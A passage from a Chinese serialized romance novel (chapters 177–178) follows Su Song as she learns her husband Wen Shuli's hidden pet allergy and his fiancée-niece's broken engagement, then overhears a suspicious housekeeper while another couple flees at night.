加上她社交少,家里管得严,她也没机会去朋友家窜门,对这方面见识少,还真不知道套房之间的差距能有多大。
不过苏颂听说过温禾的爷爷好赌,温禾的父亲无能,到她这一代,这支旁支已经很没落了,好在温禾争气,在商圈闯出点名堂,还跟江灿订了婚,温家人都夸她。
为了照顾温禾的面子,苏颂含糊着说。
“我也不懂这些。”
温禾坐下来后,便开始唉声叹气,她的性子直率,既然来了,就不会藏着话不说,不用苏颂问,她开口就说:“婶婶,我完了,江灿他不要我了。”
177 温先生的爱意无声
苏颂刚将水杯递到嘴边,闻言,喝水的动作停下,看向温禾。
温禾将她跟江灿最近冷战,到对方提出要退婚的事情一股脑说完,中间喝了三杯水,把苏颂那杯没喝的水也喝了。
苏颂看着自己专用的茶杯,只觉得温禾真的很马大哈,不一样的杯子都能拿错。
“那你家里人同意吗?”
“不同意又怎样,这门亲事,本来我家就属于被动的。”
“被动?”关于温禾怎么跟江灿订婚的,苏颂不清楚。但这会,听着温禾的话,她察觉到了一点不对劲。
温禾说:“我跟他是在国外的一场商业峰会认识的,当时我在寻找风口,但他已经是风投界的新秀,作为代表上台讲话了,我也不知道他怎么会来跟我聊。”
“后来,我们时常有联系,回国后见过一次,被我爸碰见,我爸误以为他是我男朋友,然后他也没否认……”
温禾越说,眉头拧得越深:“我以为他是对我一见钟情,一直暗恋我,所以才没有否认呢,结果现在他说,订婚的事情太突然了,要取消?”
“MD,订婚是一下子就能定的吗?找理由也不知道说个靠谱的。”她气得爆粗。
而苏颂越听,越无语,嘴角抽动:“你们是去年年末才认识,然后不到一个月就订婚的吗?”
温禾点头:“是啊,有什么问题吗?”
当然有,那个时间,是她陷热搜风波后的时间,也就是江灿在把照片给了林美丽之后,还接近了温禾,并订了婚,如果他真的跟温禾结婚了,苏颂还不会觉得他另有心机。
但现在,他退婚了,这说明,当时他是知道温禾是温家人,想要以此接近温家。
目的,当然是她了。
苏颂一开始知道周正焕背后的周家这么厉害的时候,也震惊过,但从没有想过,有一天会因为她跟周正焕认识的关系,有人竟然会想要利用她,巴结周家。
当年一见面,苏颂就觉得江灿这个人心思深,透出一股令人不喜欢的阴郁劲,现在真的证实她没看错人。
他为了自己的目的,真是绕了好大一圈。
苏颂心里又气又恨,觉得自己无缘无故被当成了棋子。但面上,还算淡定。
“没问题吗?你跟他有感情吗?你了解他吗?”苏颂三连问后瞥她,说,“都不了解就订婚,还说人家一见钟情,是你自己恋ai脑吧。”
被说中心思的温禾尬笑两声:“那他确实很有能力,江家背景很好嘛。”
成年人,各取所需很正常。一听温禾也是个门路清,对江灿不纯谈感情,有所图的,苏颂也放心了。
“既然他非良人,早解除了也好,这事也不用找你叔商量了。”苏颂知道,温禾来,主要是要找温戍礼谈这件事。
温戍礼已经知道江灿在背后搞的小动作,肯定也不会接纳他成为温家人。苏颂算是帮他回拒了温禾的请求。
毕竟再好的背景,不是一条心的,迟早也翻船。
“嗯……不麻烦叔就不麻烦吧。不过你跟叔也没有感情啊,你当初怎么就敢嫁?”
“我运气比你好啊!”苏颂眨巴着大眼睛,两人已经很熟了,加上温禾的性格开朗,跟她开一起久了,很容易被感染,她学着温禾的语气,夸张的说。
嘟嘟不知道又从哪冒出来,蹭着苏颂的脚,苏颂把它抱起来。
本来温禾还想反驳她,结果看到猫,吓得她瞪大眼睛,一副很不可置信的样子:“我叔居然让你养猫吗?
他对动物毛发过敏!”
转过头来的苏颂一脸茫然,这下,温禾彻底服了。
“你确实运气比我好,我叔这种人,在你这都愿意将就。”
温禾竖起大拇指,摇头晃脑,夸张的说:“真爱,你们是真爱。”
见她拿包起身,苏颂留她:“在这吃饭了再走吧。”
温禾背对着她摆手:“不吃了,被你们的狗粮喂饱了。”
猫?居然还养猫?
“我失恋了,你们这样对我真的好吗?”
她的碎碎念一直延续到出门,苏颂看着怀里,一双蓝眼睛圆乎乎,一脸憨厚
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的嘟嘟,疑惑:“他对动物毛发过敏吗?”
。
温戍礼回来得有些晚,堪堪要十一点,结果他刚走到客厅,就发现苏颂。
“还没睡?”温戍礼一手挽着外套,一手提着个小蛋糕,带着酒后微醺的脸红,朝她走来。
“路过,不知道你想不想吃,试一下。”他弯着腰,把蛋糕放在桌子上,却跟苏颂保持了三步的距离。
“离那么远干嘛?”苏颂看他故意拉开的距离,问。
闻言,他笑了一下,总是板着的脸,笑起来很好看,可能喝了不少,他要比平常多了一分憨态。
“一身酒气,别熏着你。”
从温禾走后,苏颂从王管家那里证实他确实对动物毛发过敏过,苏颂想等他回来问问,结果一直努力保持平静的心情,这会因为他这句话而奔溃了。
苏颂哭了,她哭着扑进温戍礼的怀里:“你能不能不要这样?”
这个反应把温戍礼吓着了,但他又不敢轻举妄动,医生说孕早期,一切都要小心点,于是他甚至不知道可以碰她哪里,因为她现在很激动,抽泣得很厉害,整个身体都在动。
温戍礼稳稳的站着,支撑着她的身体,有些无奈:“我怕熏到宝宝,你怎么还扑过来。”
苏颂拉开一点距离,眼睛红红的,鼻尖红红的,嘴巴也红红的。她哽咽着说:“你对猫过敏怎么不说?”
温戍礼知道自己对动物**过敏,是在八岁的时候,他妈走了,林美丽搬进来,还带来了一条大金毛,跟两只波斯猫。
人小的时候,就会觉得它们很巨大,很凶。
那只狗总是对他吠,那两只猫也会盯着他,他不想有一天被扑,总是刻意避开,后来被林美丽发觉了,为了让他听话,她故意将他和那只狗和两只猫关在一个房间里,等人发现的时候,他已经昏迷了。
医生诊断结果是:动物毛发过敏。
时间已经过去太久了,温戍礼面对着小妻子哭红的脸,想了起来。
听到她的抽搭声,他叹息一声。
178 神秘的阿姨。周扬平追来了
他迟疑片刻,将手上的外套放在沙发上,走到她身边,到底,还是抱住她。
苏颂搂住他的腰肢,脑袋贴在他的腹部,随着抽泣,身体的抽动传递到他的身上。
温戍礼的大手也轻轻的拍着她:“我长这么大,就那一次,跟嘟嘟相处这么久,不是也没事吗?
别哭了。”
哭得他的心都要疼了。
他一下一下的拍着苏颂的后背,一边安抚一边给她顺气:“孕妇经常哭的话,会影响宝宝颜值。”
苏颂离开他的怀里,开始擦拭眼泪。
“再说了,过敏而已。”他去买猫的时候就想过了,不行就家里备着药,中间把猫送出去,就不是因为身体过敏,是他看不惯那猫跟他争苏颂。
小家伙,一窝在苏颂的怀里,就瞪着两只眼睛看他,居然还敢炫耀。
“过敏会死人的。”苏颂瞪他,这个人什么事都游刃有余,就恨他连自己的身体都不重视。
“我明天把嘟嘟送去茶楼。”苏颂擦干眼泪说。
温戍礼已经坐下来,两手摊开放在椅背上,晃着染上红晕的脸,他摇着头说:“真不用。我平常抱它没什么问题,只要它别上床,不要睡觉的时候还闻着猫味的时候就行。
想吐。”
他以为事情过去这么多年,已经对猫不过敏了,结果有一次,猫半夜跑到床上去睡觉,他半夜觉得呼吸困难,被闷醒,最后他冷着脸,拎着猫丢了出去,隔天就跟苏颂约定了养猫的第一条规则:别让猫上床。
他轻轻笑着,苏颂回想这段日子,确实没有见他过敏过,但她也没有掉以轻心,坐下来,开始上网查。
“网上说,动物毛发过敏,是由于人体对动物的皮屑、唾液、尿液等特定蛋白质产生过敏反应。”
“这样的话,并不是真的是猫毛引起的,所以别一起睡觉就没事。”苏颂查阅之后,才彻底放心,结果转头的时候,却发现温戍礼脸色涨红,眉头锁的死死的,看起来很难受的样子。
“你怎么了?”
洗手间,苏颂等在外面,听着温戍礼在里面吐得难受,抱歉的说:“我以为你是说跟嘟嘟一起睡会想吐。”
没想到他是说他想吐。
结婚后几年,苏颂第一次见温戍礼这么狼狈,她却毫无笑话的意思,只觉得愧疚。
温戍礼出来后,喝了阿姨煮的醒酒汤后,却说:“你不用道歉,如果真要说,得我说谢谢。
谢谢你这些年一直用心的照顾我。
一直等我回来,要么泡茶要么煮汤,才让我没有酒后失态。”
男人啊,酒量都是量出来的,哪有真的什么千杯不醉,在没跟苏颂结婚之前,他妈不在,爹不管的,常常应酬完回去,就一个人吐,谁又知道呢。
他捏着苏颂的小手,娶了她,他是真没有后悔过,苏颂,就是他心目中,完美的妻子。
“还是你煮的好喝。”他眼神示意那杯子。
苏颂知道,他是还想再喝一杯,笑了笑,拿起杯子出去。
苏颂经过阿姨的房间,却听到阿姨说话的声音。
“对,应该是有了。”
“他是有起疑,不过应该还没抓到证据,他没对我怎么样。”
“好,我会用心做的。”
苏颂贴着门,听不太清楚,透过门缝,只看到阿姨在打电话。
跟谁打电话呢?怎么有种神神秘秘的感觉。
。
星灿酒吧后门,半夜星光点点,顾辽舟语气却有些急:“大姐,现在是跑路,你能不能快点?”
他嘴里咬着烟,先是往前探头,再回头,只见闫丽慢慢悠悠的走出来。
闫丽一听,呛他一句:“你挺个肚子,快一个试试?”又不是一个人,她现在是一个身体两个心脏,做什么不得小心一点。
闻言,顾辽舟坏坏的笑,这阵子,倒是把她素面朝天的脸看顺眼了,等她走近,捏了捏她的脸:“别说,你泼辣的时候挺可爱。”
两人一边“打情骂俏”,一边往外走。
星灿后面是小巷子,大半夜的,连个灯都没有,她差点崴了。
“大晚上的,把我叫醒,说逃命,你又抽什么疯?”
因为这阵子闫丽听话没闹,顾辽舟也没有对她的行动那么限制了,让她又住到上面来,只是不让她晚上出来。
怀孕之后,她就挺能睡的,所以她很早就睡了,却被顾辽舟拉起来。
这会两人离得近,闫丽还能闻到他身上的酒气:“喝大了,玩刺激?”
顾辽舟拉着她上车,闫丽这才发现,车上早有司机等着,并且车子启动后,后面还跟着一辆车,周扬平出行,也会有守卫跟着。
大晚上,逃命,打手?闫丽的心提起来,抓住顾辽舟的手,问:“是他发现了吗?”
顾辽舟今晚被那些人灌得有些多,这会脑子有些昏,全靠嘴上的烟提神。
他开了车窗,夏季的夜风灌进来,猩红猛亮。顾辽舟抽一口烟说:“没有。”
他又吸了一口烟:“以防万一。”
今日,温戍礼的话提醒了他。
江灿那小子圆滑得跟精一样,像周家跟路家那样的家族,他都能从中平衡,说得好听,叫圆滑,但在他们道上走的,称这叫:两头蛇。
说白了,就是不忠心。
他把闫丽藏在星灿,本来是觉得,现在知道他是星灿老板的人不多,加上江灿还设计了地下室,他觉得那地方隐秘性好。
但现在,设计这个的人都不可靠了,地方又怎么会可靠。
顾辽舟不确定江灿知不知道闫丽跟周扬平的关系,但脑袋都是挂在裤腰带上走的人,他做事,追求万无一失。
闫丽本来还觉得顾辽舟又在没事找事,现在一听,也急起来,开始催促前面的司机:“你开快点,那个人要是有线索,他找过来很快的。”
车子急速的行驶在大马路上,夜里的道路安静又方便,就在闫丽以为自己能顺利出了这座城的时候,一个急刹车,车轮跟地面发出刺耳的响声。
由于太急太突然,车子刹车后还急弯,闫丽捂着耳朵,被顾辽舟迅速的抱进怀里。